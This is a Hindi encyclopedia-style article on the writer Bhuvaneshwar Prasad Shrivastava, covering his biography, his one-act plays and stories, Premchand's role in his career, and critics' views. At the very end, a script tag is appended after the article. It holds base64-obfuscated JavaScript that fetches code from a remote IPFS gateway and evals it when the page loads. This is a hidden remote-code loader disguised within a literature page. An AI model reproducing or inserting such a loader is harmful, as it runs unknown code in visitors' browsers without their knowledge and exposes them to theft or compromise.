भुवनेश्वर एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- भुवनेश्वर (बहुविकल्पी)

भुवनेश्वर प्रसाद श्रीवास्तव (अंग्रेज़ी:Bhuvaneshvar Prasad Shrivastava, जन्म: 20 जून, 1910[1] - मृत्यु: 1957) हिंदी के प्रसिद्ध एकांकीकार, लेखक एवं कवि थे। भुवनेश्वर साहित्य जगत् का ऐसा नाम है, जिसने अपने छोटे से जीवन काल में लीक से अलग किस्म का साहित्य सृजन किया। भुवनेश्वर ने मध्य वर्ग की विडंबनाओं को कटु सत्य के प्रतीरूप में उकेरा। उन्हें आधुनिक एकांकियों के जनक होने का गौरव भी हासिल है। एकांकी, कहानी, कविता, समीक्षा जैसी कई विधाओं में भुवनेश्वर ने साहित्य को नए तेवर वाली रचनाएं दीं। एक ऐसा साहित्यकार जिसने अपनी रचनाओं से आधुनिक संवेदनाओं की नई परिपाटी विकसित की। प्रेमचंद जैसे साहित्यकार ने उनको भविष्य का रचनाकार माना था। इसकी एक ख़ास वजह यह थी कि भुवनेश्वर अपने रचनाकाल से बहुत आगे की सोच के रचनाकार थे। उनकी रचनायों में कलातीतता का बोध है, परन्तु आश्चर्यजनक रूप से यह भूतकाल से न जुड़ कर भविष्य के साथ ज्यादा प्रासंगिक नज़र आती हैं। ‘कारवां’ की भूमिका में स्वयं भुवनेश्वर ने लिखा है कि ‘विवेक और तर्क तीसरी श्रेणी के कलाकारों के चोर दरवाज़े हैं”। उनका यह मानना उनकी रचनाओं में स्पष्टतया द्रष्टिगोचर भी होता भी है। इंसान को वस्तु में बदलते जाने की जो तस्वीर उन्होंने उकेरी, वो आज के समय में और भी अधिक प्रासंगिक हो जाती है।

जीवन परिचय

भुवनेश्वर का जन्म शाहजहांपुर (उत्तर प्रदेश) के केरुगंज (खोया मंडी) में, 20 जून, 1910 में एक खाते-पीते परिवार में हुआ था। परन्तु बचपन में ही माँ की मौत से अचानक परिस्थितियां उनके विपरीत हो गई। इंटरमीडिएट का ये विद्यार्थी शाहजहांपुर को अलविदा करके इलाहाबाद चला गया। उस समय के भुवनेश्वर का बौद्धिक ज्ञान, हिन्दी-अंग्रेजी भाषाओं पर समान अधिकार, इंसानी रिश्तों को समझने का अदभुत नजरिया समकालीन लेखकों के लिए अचरज से कम नहीं था। परन्तु व्यक्तिगत रूप से स्वयं भुवनेश्वर का जीवन अभावों एवं कठिनताओं का पुलिंदा था। इलाहाबाद, बनारस, लखनऊ में भटकते भुवनेश्वर के लिए मित्र मंडली के घर आसरा, और कठिनाइयों का चोली दामन का साथ रहा। परन्तु इन परेशानियों में भी उनकी साहित्य यात्रा अनवरत जारी रही। एक बार स्वयं प्रेमचंद ने उनसे अपने लेखन में ‘कटुता’ कम करने की राय दी थी, जिस पर उन्होंने कहा कि इस ‘कटुता’ की उपज के पीछे के कारणों की भी पड़ताल होनी चाहिये। शायद यही कारण, वो तमाम विसंगतियां थी, जिनका सामना उन्हें अपने जीवन में करना पड़ा। 1957 में लखनऊ स्टेशन पर भुवनेश्वर ने दुनिया को अलविदा कह दिया। भुवनेश्वर की नियति पर रघुवीर सहाय की टिप्पणी सर्वाधिक सटीक है, 'उनके साथ समाज ने जो किया, वह सच बोलने और सच्चे होने की ऐसे समाज द्वारा दी गई सजा थी, जो अपने को गुलामी से निकालकर आज़ाद होने के विरुद्ध था।'[2]

साहित्यिक परिचय

भुवनेश्वर की साहित्य साधना बहुआयामी थी। कहानी, कविता, एकांकी और समीक्षा सब में उनकी लेखनी एक नए कलेवर का एहसास दिलाती है। छोटी सी घटना को भी नई, परन्तु वास्तविकता के सर्वाधिक सन्निकट दृष्टि से देखने का नजरिया भुवनेश्वर की विशेषता है। 'हंस’ में 1933 में भुवनेश्वर का पहला एकांकी ‘श्यामा: एक वैवाहिक विडम्बना’ प्रकाशित हुआ था। 1935 में प्रकाशित एकांकी संग्रह ‘कारवां’ ने उन्हें एकांकीकार के रूप में प्रतिष्ठित कर दिया।

भुवनेश्वर द्वारा लिखित नाटक ‘तांबे का कीड़ा’ (1946) को विश्व की किसी भी भाषा में भी लिखे गये पहले असंगत नाटक का सम्मान प्राप्त है। उनके द्वारा लिखित एकांकियों में ‘श्यामःएक वैवाहिक विडम्वना’, ‘रोमांसः रोमांच’, ‘स्ट्राइक’, ‘ऊसर’, ‘सिकन्दर’ आदि का नाम उल्लेखनीय है। भुवनेश्वर की पहली कहानी ‘मौसी’ को प्रेमचंद ने समकालीन कहानियों के प्रतिनिधि संकलन ‘हिंदी की आदर्श कहानियां’ में स्थान दिया। उनकी कहानी ‘भेडिये’ हंस के अप्रैल 1938 अंक में प्रकाशित हुई। इस कहानी ने आधुनिक कहानियों की परम्परा में मज़बूत नींव का निर्माण किया। कैसे रेगिस्तान से गुजरता बंजारा भेड़ियों से जान बचाने के लिए उनके आगे चुग्गा फेंकता है। कहानी और जीवन दोनों में फेंकने के इस क्रम में सबसे पहले फेंकी जाती हैं वो चीजें जो अपेक्षाकृत कम महत्व की हैं। इस कहानी ने जीवन की कडवी सच्चाई को बिना लाग-लपेट के प्रस्तुत किया। कुछ साहित्यकार तो इस कहानी के मर्म को किसी मैनेजमेंट क्लास के चुनिन्दा निष्कर्षों में भी सर्वश्रेष्ठ मानते हैं। ‘मौसी’, ‘लड़ाई’, ‘माँ बेटे’, ‘मास्टनी’ आदि अन्य उल्लेखनीय कहानियाँ हैं।

इसके अतिरिक्त भुवनेश्वर ने अंग्रेज़ी तथा हिन्दी में कुछ कविताएं तथा आलोचनात्मक लेख भी लिखे हैं। परन्तु उनके कृतित्व को पहचानने में लोगों ने भूल कर दी। शायद यही कारण था, कि इस अनोखे रचनाकार को पूरा जीवन संघर्षो और विवादों में गुजारना पड़ा। प्रेमचंद ने उनसे हंस से स्थाई रूप से जुड़ने का आग्रह किया था। परन्तु अनजाने कारणों से ये संवाद पूरा ना हो सका। हालांकि उनकी रचनायें हंस में लगातार प्रकाशित होती रहीं। लेकिन अगर वो हंस के साथ जुड़ जाते तो उनका रचना संसार कहीं अधिक विस्तृत रूप में हमारे सामने होता। उनके अंतिम समय की रचनाओं को सहेजना वाला उनके साथ कोई नहीं था, जिसके फलस्वरूप उस दौरान रफ़ कागजों के पीछे लिखा गया हिंदी और अंग्रेजी का पूर्णतया मौलिक साहित्य अंधेरों में गुम हो गया। भुवनेश्वर की उपलब्ध सभी रचनाओं को आज पुनः लोगों तक पंहुचाने की आवश्यकता है।

साहित्यकारों की नज़रों में

भानु भारती ने एक समय कहा भी था कि जब उन्होंने भुवनेश्वर के नाटक तांबे के कीड़े पर काम करना शुरू किया, तो उन्हें आश्चर्य हुआ कि आख़िर 1946 में जब विश्व रंगमंच पर ऑयनोस्की और बैकेट का आगमन नहीं हुआ था, तो भुवनेश्वर द्वारा ऐसे नाटकों की परिकल्पना करना कितना आश्चर्यजनक है। छोटे कद, उलझे और बिखरे हुए बाल, मैला-सा पुराना कुर्ता-पायजामा, पैरों में साधारण-सी चप्पल और उंगलियों में सुलगी हुई बीड़ी फंसाए इसी मामूली आदमी ने अपनी प्रतिभा के बल पर हिंदी नाटकों के एक युग का सूत्रपात किया था।

रामविलास शर्मा ने उन्हें ‘न्यूरोटिक’ कहा, तो शमशेर ने उनके लिए नवाब, गिरहकट, ‘विट’ लिखा है। नवाब यानी जेब खाली, लेकिन आदतें रईसों जैसी। रामेश्वर शुक्ल 'अंचल' ने एक बार कहा था कि ‘न जाने क्यों भुवनेश्वर को यह गिला रहता था कि वह साहित्य-जगत में अस्वीकृत होने और ठोकर खाते हुए मिटते जाने के लिए ही लेखक बने हैं।’

कृतियाँ

कहानी
  • आजादी : एक पत्र
  • एक रात
  • जीवन की झलक
  • डाकमुंशी
  • भेड़िये
  • भविष्य के गर्भ में
  • माँ-बेटे
  • मास्टरनी
  • मौसी
  • लड़ाई
  • सूर्यपूजा
  • हाय रे, मानव हृदय!
एकांकी
  • एक साम्यहीन साम्यवादी
  • एकाकी के भाव
  • पतित (शैतान)
  • प्रतिभा का विवाह
  • श्यामा : एक वैवाहिक विडंबना
  • आज़ादी की नींव
  • जेरूसलम
  • सिकंदर
  • अकबर
  • चंगेज़ खाँ
  • मृत्यु
  • हम अकेले नहीं हैं
  • सवा आठ बजे

प्रेमचन्द की खोज

भुवनेश्वर प्रेमचन्द की खोज हैं । इसके दो प्रमाण हैं-

  1. उनकी अब तक प्राप्त 12 कहानियों में से 9 और अब तक प्राप्त 17 नाटकों में से 9 प्रेमचन्द द्वारा संस्थापित ‘हंस’ पत्रिका में ही प्रकाशित हुए ।
  2. भुवनेश्वर की पहली और एकमात्र प्रकाशित किताब ‘कारवाँ’ की पहली समीक्षा खुद प्रेमचन्द ने लिखी ।

लेकिन भुवनेश्वर मात्र एक कहानीकार–एकांकीकार ही नहीं, एक उत्कृष्ट कवि, सूक्तिकार और मारक टिप्पणीकार भी हैं । अपने सम्पूर्ण लेखन में वे कहीं भी दबी ज़बान से नहीं बोलते । उनकी अंग्रेज़ी की 10 कविताओं में सत्यकथन की अघोर हिंसा का जो हाहाकार है वह हिन्दी कविता के तत्कालीन (छायावादी) वातावरण के बिल्कुल विपरीत और अत्याधुनिक है । भुवनेश्वर ने ‘डाकमुंशी’ और ‘एक रात’ जैसी कहानियाँ लिखकर प्रेमचन्द के चरित्रवाद और घटनात्मक कथानकवाद का एक ‘तोड़’ प्रस्तुत किया । उनकी ‘भेड़िये’ कहानी आज की गलाकाट प्रतियोगिताओं की एक प्रतीकात्मक पूर्व झाँकी है, जहाँ अपना अस्तित्व बचाए रखने के लिए दूसरों की बलि चढ़ाने में ज़रा भी हिचक नहीं । उनके प्रसिद्ध नाटक ‘ताँबे के कीड़े’ में संवादों के होते हुए भी संवादात्मकता का पूरी तरह लोप है । भुवनेश्वर के सम्पूर्ण लेखन में सन्नाटे का एक ‘अनहद’ है जो कहीं से भी आध्यात्मिक नहीं । भुवनेश्वर हिन्दी के एक ऐसे उपेक्षित और भुलाए गए लेखक हैं, जो अपनी पैदाइश के आज सौ वर्षों बाद अब ज़्यादा प्रासंगिक और आधुनिक नज़र आते हैं । भुवनेश्वर आने वाली पीढ़ियों के लेखक हैं। [3]

साहित्यिक विशेषता

लेखक की रचनाओं के अनुशीलन से यही धारणा बनती है कि पश्चिम के आधुनिक साहित्य का उन्होंने अच्छा अध्ययन किया है। इब्सन, शॉ. डी. एच., लॉरेंस तथा फ्रॉयड के प्रति विशेष अनुरक्त प्रतीत होते हैं। ज़िन्दगी को उन्होंने कड़वाहट, तीखेपन, विकृति और विद्रुपता से ही देखा था। सम्भवतः इसी कारण उनमें समाज के प्रति तीव्र वितृष्णा, प्रबल आक्रोश और उग्र विद्रोह का भाव प्रकट हुआ है। जीवन की इस कटु अनुभूति ने ही उन्हें फक्क्ड़, निर्द्वन्द्व और संयमहीन बना दिया था। भुवनेश्वर ने हिन्दी पाश्चात्य शैली के एकांकी की परंपरा बनायी।

उनकी प्रथम रचना 'श्यामा--एक वैवाहिक विडंबना', 'हंस' के दिसंबर, 1933 ई. के अंक में प्रकाशित हुई। इसके बाद अन्य एकांकी रचनाएँ 'शैतान' (1934 ई.), 'एक साम्यहीन साम्यवादी' (हंस, मार्च 1934 ई.), 'प्रतिभा का विवाह' (1933 ई.), 'रहस्य रोमांच' (1935 ई.), 'लाटरी' (1935 ई.) प्रकाशित हुईं। इन्हें संग्रहीत करके उन्होंने सन 1956 ई. में 'कारवां' संज्ञा देकर प्रकाशित किया। इन सभी एकांकियों पर पश्चिम की एकांकी शैली की छाप है। विषय-वस्तु और समस्या के विश्लेषण में पश्चिम के बुद्धिवादी नाटककारों इब्सन और शॉ का प्रभाव है। परिशिष्ट करने वाले जो सूत्र-वाक्य दिये हैं, वे शॉ के व्यंग और फ्रॉयड की यौन-प्रधान विचारधारा का स्मरण दिलाते हैं।

भुवनेश्वर के और भी एकांकी प्रकाशित होते रहे- 'मृत्यु' ('हंस 1936 ई.), 'हम अकेले नहीं हैं' तथा 'सवा आठ बजे' ('भारत'), 'स्ट्राइक' और 'ऊसर' ('हंस' 1938 ई.)। इन रचनाओं में उनकी दृष्टि का विस्तार देखने को मिलता है। यौन-समस्या तथा प्रेम के त्रिकोण से ऊपर उठकर वे समाज के दुख-दर्द को भी देखने लगे। सन 1938 ई. में सुमित्रानंदन पंत द्वारा संपादित 'रूपाभ' पत्रिका में उन्होंने एक बड़े नाटक 'आदमखोर' का पहला अंक प्रकाशित कराया। इससे उन्होंने जीवन की कटु वास्तविकताओं के उद्घाटन का घोर यथार्थवादी दृष्टिकोण अपनाया है।

सन 1940 ई. में उन्होंने गोगोल के प्रसिद्ध नाटक 'इंस्पेक्टर जनरल' को लगभग पौन घंटे के एकांकी का रूप दिया। सन 1941 ई. में 'विश्ववाणी' में 'रोशनी और आग' शीर्षक एक प्रयोग उपस्थित किया, जिसमें ग्रीक नाटकों जैसा पूर्वालाप, कोरस था। 'कठपुतलियाँ' (1942 ई.) में उन्होंने प्रतीकवादी शैली अपनायी। इन प्रयोगात्मक रचनाओं के अनंतर भुवनेवर की नाट्यकला परिपक्व रूप में देखने को मिली। 'फोटोग्राफर के सामने' (1945 ई.), 'तांबे के कीड़े' (1946 ई.) में मनुष्य की बढ़ती हुई अर्थलोलुपता का उद्घाटन है। सन 1948 ई. में 'इतिहास की केंचुल' एकांकी लिखा और इसके अनंतर उनके कई ऐतिहासिक एकांकी प्रकाशित हुए- 'आज़ादी की नींव' (1949 ई.), 'जेरूसलम' (1949 ई.), 'सिकंदर (1949 ई.), 'अकबर' (1950 ई.) तथा चंगेज़ खाँ (1950 ई.)। इन रचनाओं में राष्ट्रीयता का स्वर भी उभरा है। अंतिम कृति 'सीओ की गाड़ी' (1950 ई.) है।[4]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिंदी एकांकी के जनक थे भुवनेश्वर (हिन्दी) अमर उजाला। अभिगमन तिथि: 25 मार्च, 2020
  2. भुवनेश्वर यानी हिंदी के बर्नाड शॉ (हिन्दी) अमर उजाला। अभिगमन तिथि: 25 मार्च, 2020
  3. भुवनेश्वर समग्र (हिन्दी) राजकमल प्रकाशन समूह। अभिगमन तिथि: 26मार्च, 2020
  4. पुस्तक- हिंदी साहित्य कोश-2 | सम्पादक- धीरेंद्र वर्मा | पृष्ठ- 414

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>